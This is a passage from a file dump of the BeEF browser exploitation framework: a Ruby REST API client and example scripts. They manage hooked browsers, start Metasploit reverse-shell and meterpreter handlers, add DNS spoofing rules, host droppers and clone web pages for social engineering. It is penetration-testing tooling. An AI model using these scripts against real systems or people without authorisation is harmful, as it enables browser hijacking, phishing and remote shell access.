JSON.parse(response.body)\n    job_id = result['id']\n    if job_id.nil?\n      print_error \"Could not start payload handler: Job id is nil\"\n    else\n      print_good \"Started payload handler [id: #{job_id}]\"\n    end\n    job_id\n  rescue => e\n    print_error \"Could not start payload handler: #{e.message}\"\n  end\nend\n\n# stop metasploit job\ndef msf_job_stop id\n  print_verbose \"Stopping Metasploit job [id: #{id}]\"\n  begin\n    response = RestClient.get \"#{@url}msf/job/#{id}/stop\", {:params => {:token => @token}}\n    result = JSON.parse(response.body)\n    if result['success'].nil?\n      print_error \"Could not stop Metasploit job [id: #{id}]: No such job ?\"\n    else\n      print_good \"Stopped job [id: #{id}]\"\n    end\n    result\n  rescue => e\n    print_error \"Could not stop Metasploit job [id: #{id}]: #{e.message}\"\n  end\nend\n\n\n################################################################################\n### Network API\n################################################################################\n\n# get all network hosts\ndef network_hosts_all\n  begin\n    print_verbose \"Retrieving all network hosts\"\n    response = RestClient.get \"#{@url}network/hosts\", {:params => {:token => @token}}\n    details = JSON.parse(response.body)\n    print_good \"Retrieved #{details['count']} network hosts\"\n    details\n  rescue => e\n    print_error \"Could not retrieve network hosts: #{e.message}\"\n  end\nend\n\n# get all network services\ndef network_services_all\n  begin\n    print_verbose \"Retrieving all network services\"\n    response = RestClient.get \"#{@url}network/services\", {:params => {:token => @token}}\n    details = JSON.parse(response.body)\n    print_good \"Retrieved #{details['count']} network services\"\n    details\n  rescue => e\n    print_error \"Could not retrieve network services: #{e.message}\"\n  end\nend\n\n# get network hosts by session\ndef network_hosts session\n  begin\n    print_verbose \"Retrieving network hosts for hooked browser [session: #{session}]\"\n    response = RestClient.get \"#{@url}network/hosts/#{session}\", {:params => {:token => @token}}\n    details = JSON.parse(response.body)\n    print_good \"Retrieved #{details['count']} network hosts\"\n    details\n  rescue => e\n    print_error \"Could not retrieve network hosts: #{e.message}\"\n  end\nend\n\n# get network services by session\ndef network_services session\n  begin\n    print_verbose \"Retrieving network services for hooked browser [session: #{session}]\"\n    response = RestClient.get \"#{@url}network/services/#{session}\", {:params => {:token => @token}}\n    details = JSON.parse(response.body)\n    print_good \"Retrieved #{details['count']} network services\"\n    details\n  rescue => e\n    print_error \"Could not retrieve network services: #{e.message}\"\n  end\nend\n\n\n################################################################################\n### XssRays API\n################################################################################\n\n# get all rays\ndef xssrays_rays_all\n  print_verbose \"Retrieving all rays\"\n  response = RestClient.get \"#{@url}xssrays/rays\", {:params => {:token => @token}}\n  details = JSON.parse(response.body)\n  print_good \"Retrieved #{details['count']} rays\"\n  details\nrescue => e\n  print_error \"Could not retrieve rays: #{e.message}\"\nend\n\n# get rays by session\ndef xssrays_rays session\n  print_verbose \"Retrieving rays for hooked browser [session: #{session}]\"\n  response = RestClient.get \"#{@url}xssrays/rays/#{session}\", {:params => {:token => @token}}\n  details = JSON.parse(response.body)\n  print_good \"Retrieved #{details['count']} rays\"\n  details\nrescue => e\n  print_error \"Could not retrieve rays: #{e.message}\"\nend\n\n# get all scans\ndef xssrays_scans_all\n  print_verbose \"Retrieving all scans\"\n  response = RestClient.get \"#{@url}xssrays/scans\", {:params => {:token => @token}}\n  details = JSON.parse(response.body)\n  print_good \"Retrieved #{details['count']} scans\"\n  details\nrescue => e\n  print_error \"Could not retrieve scans: #{e.message}\"\nend\n\n# get scans by session\ndef xssrays_scans session\n  print_verbose \"Retrieving scans for hooked browser [session: #{session}]\"\n  response = RestClient.get \"#{@url}xssrays/scans/#{session}\", {:params => {:token => @token}}\n  details = JSON.parse(response.body)\n  print_good \"Retrieved #{details['count']} scans\"\n  details\nrescue => e\n  print_error \"Could not retrieve scans: #{e.message}\"\nend\n\n\n\n################################################################################\n### DNS API\n################################################################################\n\n# get ruleset\ndef dns_ruleset\n  begin\n    print_verbose \"Retrieving DNS ruleset\"\n    response = RestClient.get \"#{@url}dns/ruleset\", {:params => {:token => @token}}\n    details = JSON.parse(response.body)\n    print_good \"Retrieved #{details['count']} rules\"\n    details\n  rescue => e\n    print_error \"Could not retrieve DNS ruleset: #{e.message}\"\n  end\nend\n\n# add a rule\ndef dns_add_rule(dns_pattern, dns_resource, dns_response)\n  dns_response = [dns_response] if dns_response.is_a?(String)\n  print_verbose \"Adding DNS rule [pattern: #{dns_pattern}, resource: #{dns_resource}, response: #{dns_response}]\"\n  response = RestClient.post \"#{@url}dns/rule?token=#{@token}\", {\n    'pattern' => dns_pattern,\n    'resource' => dns_resource,\n    'response' => dns_response }.to_json,\n  :content_type => :json,\n  :accept => :json\n  details = JSON.parse(response.body)\n  rule_id = details['id']\n\n  if rule_id.nil?\n    print_error(\"Could not add DNS rule: #{details['error']}\")\n    return details\n  end\n\n  print_good \"Added rule [id: #{details['id']}]\"\n  details\nrescue => e\n  print_error \"Could not add DNS rule: #{e.message}\"\nend\n\n# get rule details\ndef dns_get_rule(id)\n  begin\n    print_verbose \"Retrieving DNS rule details [id: #{id}]\"\n    response = RestClient.get \"#{@url}dns/rule/#{id}\", {:params => {:token => @token}}\n    details = JSON.parse(response.body)\n    print_good \"Retrieved rule [id: #{details['id']}]\"\n    details\n  rescue => e\n    print_error \"Could not retrieve DNS rule: #{e.message}\"\n  end\nend\n\n# delete a rule\ndef dns_delete_rule(id)\n  response = RestClient.delete \"#{@url}dns/rule/#{id}?token=#{@token}\"\n  details = JSON.parse(response.body)\n  print_good \"Deleted rule [id: #{id}]\"\n  details\nrescue => e\n  print_error \"Could not delete DNS rule: #{e.message}\"\nend\n\n\n################################################################################\n### Autorun\n################################################################################\n\ndef autorun_rules\n  print_verbose \"Retrieving Autorun rules\"\n  response = RestClient.get \"#{@url}autorun/rules\", {:params => {:token => @token}}\n  details = JSON.parse(response.body)\n  print_good(\"Retrieved #{details['count']} rules\")\n  details\nrescue => e\n  print_error(\"Could not retrieve Autorun rules: #{e.message}\")\nend\n\ndef autorun_delete_rule(id)\n  print_verbose \"Deleting Autorun rule with ID: #{id}\"\n  response = RestClient.delete \"#{@url}autorun/rule/#{id}?token=#{@token}\"\n  details = JSON.parse(response.body)\n  print_good(\"Deleted rule [id: #{id}]\")\n  details\nrescue => e\n  print_error(\"Could not delete Autorun rule: #{e.message}\")\nend\n\ndef autorun_add_rule(data)\n  print_verbose \"Adding Autorun rule: #{data}\"\n  response = RestClient.post \"#{@url}autorun/rule/add?token=#{@token}\",\n    data.to_json,\n    :content_type => :json,\n    :accept => :json\n  details = JSON.parse(response.body)\n  rule_id = details['rule_id']\n\n  if rule_id.nil?\n    print_error(\"Could not add Autorun rule: #{details['error']}\")\n    return details\n  end\n\n  print_good(\"Added rule [id: #{details['id']}]\")\n  details\nrescue => e\n  print_error(\"Could not add Autorun rule: #{e.message}\")\nend\n\ndef autorun_run_rule_on_all_browsers(rule_id)\n  print_verbose \"Running Autorun rule #{rule_id} on all browsers\"\n  response = RestClient.get \"#{@url}autorun/run/#{rule_id}\", {:params => {:token => @token}}\n  details = JSON.parse(response.body)\n  print_debug details\n  print_good('Done')\n  details\nrescue => e\n  print_error \"Could not run Autorun rule #{rule_id}: #{e.message}\"\nend\n\ndef autorun_run_rule_on_browser(rule_id, hb_id)\n  print_verbose \"Running Autorun rule #{rule_id} on browser #{hb_id}\"\n  response = RestClient.get \"#{@url}autorun/run/#{rule_id}/#{hb_id}\", {:params => {:token => @token}}\n  details = JSON.parse(response.body)\n  print_good('Done')\n  details\nrescue => e\n  print_error \"Could not run Autorun rule #{rule_id}: #{e.message}\"\nend\n\n\n################################################################################\n### WebRTC\n################################################################################\n\n# get webrtc status for hooked browser by session\ndef webrtc_status id\n  begin\n    print_verbose \"Retrieving status for hooked browser [id: #{id}]\"\n    response = RestClient.get \"#{@url}webrtc/status/#{id}\", {:params => {:token => @token}}\n    details = JSON.parse(response.body)\n    print_good \"Retrieved status for hooked browser [id: #{id}]\"\n    details\n  rescue => e\n    print_error \"Could not retrieve status: #{e.message}\"\n  end\nend\n\n################################################################################\n### Social Engineering\n################################################################################\n\n# bind dropper to path\ndef bind(fname, path)\n  print_verbose \"Binding 'extensions/social_engineering/droppers/#{fname}' to '#{path}'\"\n  begin\n    response = RestClient.post \"#{@url}/server/bind?token=#{@token}\",\n    { 'mount' => \"#{path}\",\n      'local_file' => \"#{fname}\" }.to_json,\n    :content_type => :json,\n    :accept => :json\n  print_good \"Bound '#{fname}' successfully\" if response.code == 200\n  rescue => e\n    print_error \"Could not bind file #{fname}: #{e.message}\"\n  end\nend\n\n# clone page and bind to path\ndef clone_page(url, path, use_existing, dns_spoof)\n  print_verbose \"Binding '#{url}' to '#{path}'\"\n  begin\n    response = RestClient.post \"#{@url}/seng/clone_page?token=#{@token}\",\n    { 'mount' => \"#{path}\",\n      'url' => \"#{url}\",\n      'use_existing' => use_existing,\n      'dns_spoof' => dns_spoof }.to_json,\n    :content_type => :json,\n    :accept => :json\n    print_good \"Bound '#{url}' successfully\" if response.code == 200\n  rescue => e\n    print_error \"Could not bind URL #{url}: #{e.message}\"\n  end\nend\n\nend\n"
  },
  {
    "path": "tools/rest_api_examples/lib/print.rb",
    "content": "# print wrappers\ndef print_debug s\n  pp s if @debug\nend\ndef print_verbose s\n  puts \"[*] #{s}\".gray if @verbose\nend\ndef print_status s\n  puts \"[*] #{s}\".blue\nend\ndef print_good s\n  puts \"[+] #{s}\".green\nend\ndef print_error s\n  puts \"[!] Error: #{s}\".red\nend\n"
  },
  {
    "path": "tools/rest_api_examples/lib/string.rb",
    "content": "# colorise # https://stackoverflow.com/questions/1489183/colorized-ruby-output\nclass String\ndef black;          \"\\033[30m#{self}\\033[0m\" end\ndef red;            \"\\033[31m#{self}\\033[0m\" end\ndef green;          \"\\033[32m#{self}\\033[0m\" end\ndef brown;          \"\\033[33m#{self}\\033[0m\" end\ndef blue;           \"\\033[34m#{self}\\033[0m\" end\ndef magenta;        \"\\033[35m#{self}\\033[0m\" end\ndef cyan;           \"\\033[36m#{self}\\033[0m\" end\ndef gray;           \"\\033[37m#{self}\\033[0m\" end\ndef bg_black;       \"\\033[40m#{self}\\033[0m\" end\ndef bg_red;         \"\\033[41m#{self}\\033[0m\" end\ndef bg_green;       \"\\033[42m#{self}\\033[0m\" end\ndef bg_brown;       \"\\033[43m#{self}\\033[0m\" end\ndef bg_blue;        \"\\033[44m#{self}\\033[0m\" end\ndef bg_magenta;     \"\\033[45m#{self}\\033[0m\" end\ndef bg_cyan;        \"\\033[46m#{self}\\033[0m\" end\ndef bg_gray;        \"\\033[47m#{self}\\033[0m\" end\ndef bold;           \"\\033[1m#{self}\\033[22m\" end\ndef reverse_color;  \"\\033[7m#{self}\\033[27m\" end\nend\n\n"
  },
  {
    "path": "tools/rest_api_examples/metasploit",
    "content": "#!/usr/bin/env ruby\n# metasploit - Example BeEF RESTful API script\n# Starts some Metasploit payload handlers;\n# lists all running metasploit jobs;\n# then stops the payload handlers.\n# Refer to the wiki for info: https://github.com/beefproject/beef/wiki/BeEF-RESTful-API\n##\nrequire 'rest-client'\nrequire 'json'\nrequire 'optparse'\nrequire 'pp'\nrequire './lib/string' # colored strings\nrequire './lib/print'  # print wrappers\nrequire './lib/beef_rest_api' # API\n\nif ARGV.length == 0\n  puts \"#{$0}:\"\n  puts \"|  Example BeEF RESTful API script\"\n  puts \"|  Use --help for help\"\n  puts \"|_ Use verbose mode (-v) and debug mode (-d) for more output\"\n  exit 1\nend\n\n# API config\nproto = 'http'\nhost = '127.0.0.1'\nport = '3000'\nuser = 'beef'\npass = 'beef'\n\n# Command line options\n@debug = false\n@verbose = false\nOptionParser.new do |opts|\n  opts.on('-h', '--help', 'Shows this help screen') do\n    puts opts\n    exit 1\n  end\n  opts.on('--host HOST', \"Set BeEF host (default: #{host})\") do |h|\n    host = h\n  end\n  opts.on('--port PORT', \"Set BeEF port (default: #{port})\") do |p|\n    port = p\n  end\n  opts.on('--user USERNAME', \"Set BeEF username (default: #{user})\") do |u|\n    user = u\n  end\n  opts.on('--pass PASSWORD', \"Set BeEF password (default: #{pass})\") do |p|\n    pass = p\n  end\n  opts.on('--ssl', 'Use HTTPS') do\n    proto = 'https'\n  end\n  opts.on('-v', '--verbose', 'Enable verbose output') do\n    @verbose = true\n  end\n  opts.on('-d', '--debug', 'Enable debug output') do\n    @debug = true\n  end\nend.parse!\n\n@api = BeefRestAPI.new proto, host, port, user, pass\n\n# Retrieve the RESTful API token\nprint_status \"Authenticating to: #{proto}://#{host}:#{port}\"\n@api.auth\n\n# Retrieve BeEF version\n@api.version\n\n# Retrieve Metasploit version\n@api.msf_version\n\n# Start payload handlers\nhandlers = [\n  @api.msf_handler( {'PAYLOAD'=>'generic/shell_reverse_tcp', 'LPORT' => '6666', 'LHOST' => host} ),\n  @api.msf_handler( {'PAYLOAD'=>'cmd/unix/reverse', 'LPORT' => '6010', 'LHOST' => host} ),\n  @api.msf_handler( {'PAYLOAD'=>'linux/x86/meterpreter/reverse_tcp', 'LPORT' => '6020', 'LHOST'=> host} ),\n  @api.msf_handler( {'PAYLOAD'=>'windows/meterpreter/reverse_tcp', 'LPORT' => '6030', 'LHOST'=> host} )\n]\n\n# Retrieve msf jobs\njobs = @api.msf_jobs\nprint_debug jobs\n\n# Retrieve msf job details\njobs.each do |job_id,job_name|\n  next if job_id !~ /\\A\\d+\\Z/\n  print_status \"Retrieving details for Metasploit job [id: #{job_id}] [#{job_name}]\"\n  details = @api.msf_job_info(job_id)\n  print_debug details\nend\n\n# Stop payload handlers\nhandlers.each do |handler_id|\n  print_debug @api.msf_job_stop handler_id\nend\n\n"
  },
  {
    "path": "tools/rest_api_examples/network",
    "content": "#!/usr/bin/env ruby\n# network - Example BeEF RESTful API script\n# Retrieves details for all identified network hosts and network services\n# Refer to the wiki for info: https://github.com/beefproject/beef/wiki/BeEF-RESTful-API\n##\nrequire 'rest-client'\nrequire 'json'\nrequire 'optparse'\nrequire 'pp'\nrequire './lib/string' # colored strings\nrequire './lib/print'  # print wrappers\nrequire './lib/beef_rest_api'\n\nif ARGV.length == 0\n  puts \"#{$0}:\"\n  puts \"|  Example BeEF RESTful API script\"\n  puts \"|  Use --help for help\"\n  puts \"|_ Use verbose mode (-v) and debug mode (-d) for more output\"\n  exit 1\nend\n\n# API config\nproto = 'http'\nhost = '127.0.0.1'\nport = '3000'\nuser = 'beef'\npass = 'beef'\n\n# Command line options\n@debug = false\n@verbose = false\nOptionParser.new do |opts|\n  opts.on('-h', '--help', 'Shows this help screen') do\n    puts opts\n    exit 1\n  end\n  opts.on('--host HOST', \"Set BeEF host (default: #{host})\") do |h|\n    host = h\n  end\n  opts.on('--port PORT', \"Set BeEF port (default: #{port})\") do |p|\n    port = p\n  end\n  opts.on('--user USERNAME', \"Set BeEF username (default: #{user})\") do |u|\n    user = u\n  end\n  opts.on('--pass PASSWORD', \"Set BeEF password (default: #{pass})\") do |p|\n    pass = p\n  end\n  opts.on('--ssl', 'Use HTTPS') do\n    proto = 'https'\n  end\n  opts.on('-v', '--verbose', 'Enable verbose output') do\n    @verbose = true\n  end\n  opts.on('-d', '--debug', 'Enable debug output') do\n    @debug = true\n  end\nend.parse!\n\n@api = BeefRestAPI.new proto, host, port, user, pass\n\n# Retrieve the RESTful API token\nprint_status \"Authenticating to: #{proto}://#{host}:#{port}\"\n@api.auth\n\n# Retrieve BeEF version\n@api.version\n\n# Retrieve all network hosts\nhosts = @api.network_hosts_all\nprint_debug hosts\n\n# Retrieve all network services\nservices = @api.network_services_all\nprint_debug services\n\n# Retrieve online hooked browser list\nhooks = @api.online_browsers.flatten\nexit 1 if hooks.empty?\nprint_debug hooks\n\n# Retrieve network hosts for each hooked browser\nhooks.each do |hook|\n  next if hook['id'].nil?\n  print_status \"Retrieving network hosts for browser [id: #{hook['id']}]\"\n  hosts = @api.network_hosts(hook['session'])\n  print_debug hosts\n  hosts['hosts'].each do |host|\n    next if host['id'].nil?\n    print_verbose \"#{host['ip']}\" + (\" - #{host['type']}\" unless host['type'].nil?).to_s\n  end\nend\n\n# Retrieve network services for each hooked browser\nhooks.each do |hook|\n  next if hook['id'].nil?\n  print_status \"Retrieving network services for browser [id: #{hook['id']}]\"\n  services = @api.network_services(hook['session'])\n  print_debug services\n  services['services'].each do |service|\n    next if service['id'].nil?\n    print_verbose \"#{service['ip']}:#{service['port']}\" + (\" - #{service['type']}\" unless service['type'].nil?).to_s\n  end\nend\n"
  },
  {
    "path": "tools/rest_api_examples/remove-offline-browsers",
    "content": "#!/usr/bin/env ruby\n# remove-offline-browsers - Example BeEF RESTful API script\n# Removes offline browsers from the database\n# Refer to the wiki for info: https://github.com/beefproject/beef/wiki/BeEF-RESTful-API\n##\nrequire 'rest-client'\nrequire 'json'\nrequire 'optparse'\nrequire 'pp'\nrequire './lib/string' # colored strings\nrequire './lib/print'  # print wrappers\nrequire './lib/beef_rest_api'\n\nif ARGV.length == 0\n  puts \"#{$0}:\"\n  puts \"|  Example BeEF RESTful API script\"\n  puts \"|  Use --help for help\"\n  puts \"|_ Use verbose mode (-v) and debug mode (-d) for more output\"\n  exit 1\nend\n\n# API config\nproto = 'http'\nhost = '127.0.0.1'\nport = '3000'\nuser = 'beef'\npass = 'beef'\n\n# Command line options\n@debug = false\n@verbose = false\nOptionParser.new do |opts|\n  opts.on('-h', '--help', 'Shows this help screen') do\n    puts opts\n    exit 1\n  end\n  opts.on('--host HOST', \"Set BeEF host (default: #{host})\") do |h|\n    host = h\n  end\n  opts.on('--port PORT', \"Set BeEF port (default: #{port})\") do |p|\n    port = p\n  end\n  opts.on('--user USERNAME', \"Set BeEF username (default: #{user})\") do |u|\n    user = u\n  end\n  opts.on('--pass PASSWORD', \"Set BeEF password (default: #{pass})\") do |p|\n    pass = p\n  end\n  opts.on('--ssl', 'Use HTTPS') do\n    proto = 'https'\n  end\n  opts.on('-v', '--verbose', 'Enable verbose output') do\n    @verbose = true\n  end\n  opts.on('-d', '--debug', 'Enable debug output') do\n    @debug = true\n  end\nend.parse!\n\n@api = BeefRestAPI.new proto, host, port, user, pass\n\n# Retrieve the RESTful API token\nprint_status \"Authenticating to: #{proto}://#{host}:#{port}\"\n@api.auth\n\n# Retrieve BeEF version\n@api.version\n\n# Retrieve online hooked browser list\nhooks = @api.offline_browsers.flatten\nexit 1 if hooks.empty?\nprint_debug hooks\n\n# Remove each offline browser\nhooks.each do |hook|\n  next if hook['id'].nil?\n  print_status \"Removing hooked browser [id: #{hook['id']}]\"\n  details = @api.delete_browser(hook['session'])\n  print_debug details\nend\n\n"
  },
  {
    "path": "tools/rest_api_examples/webrtc",
    "content": "#!/usr/bin/env ruby\n# webrtc - Example BeEF RESTful API script\n# Retrieves browser details and logs for all online hooked browsers\n# Refer to the wiki for info: https://github.com/beefproject/beef/wiki/BeEF-RESTful-API\n##\nrequire 'rest-client'\nrequire 'json'\nrequire 'optparse'\nrequire 'pp'\nrequire './lib/string' # colored strings\nrequire './lib/print'  # print wrappers\nrequire './lib/beef_rest_api'\n\nif ARGV.length == 0\n  puts \"#{$0}:\"\n  puts \"|  Example BeEF RESTful API script\"\n  puts \"|  Use --help for help\"\n  puts \"|_ Use verbose mode (-v) and debug mode (-d) for more output\"\n  exit 1\nend\n\n# API config\nproto = 'http'\nhost = '127.0.0.1'\nport = '3000'\nuser = 'beef'\npass = 'beef'\n\n# Command line options\n@debug = false\n@verbose = false\nOptionParser.new do |opts|\n  opts.on('-h', '--help', 'Shows this help screen') do\n    puts opts\n    exit 1\n  end\n  opts.on('--host HOST', \"Set BeEF host (default: #{host})\") do |h|\n    host = h\n  end\n  opts.on('--port PORT', \"Set BeEF port (default: #{port})\") do |p|\n    port = p\n  end\n  opts.on('--user USERNAME', \"Set BeEF username (default: #{user})\") do |u|\n    user = u\n  end\n  opts.on('--pass PASSWORD', \"Set BeEF password (default: #{pass})\") do |p|\n    pass = p\n  end\n  opts.on('--ssl', 'Use HTTPS') do\n    proto = 'https'\n  end\n  opts.on('-v', '--verbose', 'Enable verbose output') do\n    @verbose = true\n  end\n  opts.on('-d', '--debug', 'Enable debug output') do\n    @debug = true\n  end\nend.parse!\n\n@api = BeefRestAPI.new proto, host, port, user, pass\n\n# Retrieve the RESTful API token\nprint_status \"Authenticating to: #{proto}://#{host}:#{port}\"\n@api.auth\n\n# Retrieve BeEF version\n@api.version\n\n# Retrieve online hooked browser list\nhooks = @api.online_browsers.flatten\nexit 1 if hooks.empty?\nprint_debug hooks\n\n# Retrieve hooked browser details\nhooks.each do |hook|\n  next if hook['id'].nil?\n  print_status \"Retrieving WebRTC status for browser [id: #{hook['id']}]\"\n  details = @api.webrtc_status(hook['id'])\n  print_debug details\n  print_verbose details['success']\nend\n\n"
  },
  {
    "path": "tools/rest_api_examples/xssrays",
    "content": "#!/usr/bin/env ruby\n# xssrays - Example BeEF RESTful API script\n# Refer to the wiki for info: https://github.com/beefproject/beef/wiki/BeEF-RESTful-API\n##\nrequire 'rest-client'\nrequire 'json'\nrequire 'optparse'\nrequire 'pp'\nrequire './lib/string' # colored strings\nrequire './lib/print'  # print wrappers\nrequire './lib/beef_rest_api'\n\nif ARGV.length == 0\n  puts \"#{$0}:\"\n  puts \"|  Example BeEF RESTful API script\"\n  puts \"|  Use --help for help\"\n  puts \"|_ Use verbose mode (-v) and debug mode (-d) for more output\"\n  exit 1\nend\n\n# API config\nproto = 'http'\nhost = '127.0.0.1'\nport = '3000'\nuser = 'beef'\npass = 'beef'\n\n# Command line options\n@debug = false\n@verbose = false\nOptionParser.new do |opts|\n  opts.on('-h', '--help', 'Shows this help screen') do\n    puts opts\n    exit 1\n  end\n  opts.on('--host HOST', \"Set BeEF host (default: #{host})\") do |h|\n    host = h\n  end\n  opts.on('--port PORT', \"Set BeEF port (default: #{port})\") do |p|\n    port = p\n  end\n  opts.on('--user USERNAME', \"Set BeEF username (default: #{user})\") do |u|\n    user = u\n  end\n  opts.on('--pass PASSWORD', \"Set BeEF password (default: #{pass})\") do |p|\n    pass = p\n  end\n  opts.on('--ssl', 'Use HTTPS') do\n    proto = 'https'\n  end\n  opts.on('-v', '--verbose', 'Enable verbose output') do\n    @verbose = true\n  end\n  opts.on('-d', '--debug', 'Enable debug output') do\n    @debug = true\n  end\nend.parse!\n\n@api = BeefRestAPI.new proto, host, port, user, pass\n\n# Retrieve the RESTful API token\nprint_status \"Authenticating to: #{proto}://#{host}:#{port}\"\n@api.auth\n\n# Retrieve BeEF version\n@api.version\n\n# Retrieve all scans\nscans = @api.xssrays_scans_all\nprint_debug scans\n\n# Retrieve all rays\nrays = @api.xssrays_rays_all\nprint_debug rays\n\n# Retrieve online hooked browser list\nhooks = @api.online_browsers.flatten\nexit 1 if hooks.empty?\nprint_debug hooks\n\n# Retrieve rays for each hooked browser\nhooks.each do |hook|\n  next if hook['id'].nil?\n  print_status \"Retrieving rays for browser [id: #{hook['id']}]\"\n  rays = @api.xssrays_rays(hook['session'])\n  print_debug rays\n  rays['rays'].each do |ray|\n    next if ray['id'].nil?\n    print_verbose \"#{ray['vector_name']} (#{ray['vector_method']})\"\n  end\nend\n\n# Retrieve scans for each hooked browser\nhooks.each do |hook|\n  next if hook['id'].nil?\n  print_status \"Retrieving scans for browser [id: #{hook['id']}]\"\n  scans = @api.xssrays_scans(hook['session'])\n  print_debug scans\n  scans['scans'].each do |scan|\n    next if scan['id'].nil?\n    print_verbose \"Scan [#{scan['id']}] on domain #{scan['domain']}\"\n  end\nend\n\n"
  },
  {
    "path": "update-beef",
    "content": "#!/bin/bash\n#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nset -euo pipefail\nIFS=$'\\n\\t'\n\ninfo() { echo -e \"\\\\033[1;36m[INFO]\\\\033[0m  $*\"; }\n\ninfo 'Updating BeEF from GitHub repository...'\ngit pull\n\ninfo 'Updating dependencies...'\nif [ -f Gemfile.lock ]; then\n\trm Gemfile.lock\nfi\nbundle install\n"
  }
]